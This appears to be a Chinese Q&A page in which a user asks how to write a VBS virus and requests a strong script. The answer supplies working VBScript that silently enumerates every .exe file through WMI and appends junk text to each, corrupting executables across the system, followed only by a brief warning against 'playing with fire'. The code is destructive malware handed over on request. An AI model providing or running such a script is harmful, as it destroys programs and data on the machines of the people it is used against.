UC知道VBS病毒怎样做？
来源：百度知道 编辑：UC知道 时间：2024/06/24 01:02:40
VBS病毒怎样做？给我一个较强的VBS病毒脚本！
on error resume next
Set FSO = CreateObject("Scripting.FileSystemObject")
Set bage= GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set pipe =bage.ExecQuery("Select * from CIM_DataFile where Extension = 'exe'")
For Each File in pipe
Set objFile =FSO.OpenTextFile(file.name,8,true)
objFile.Writeline "111111"
objFile.Close
next
作为前辈我警告你别玩火自焚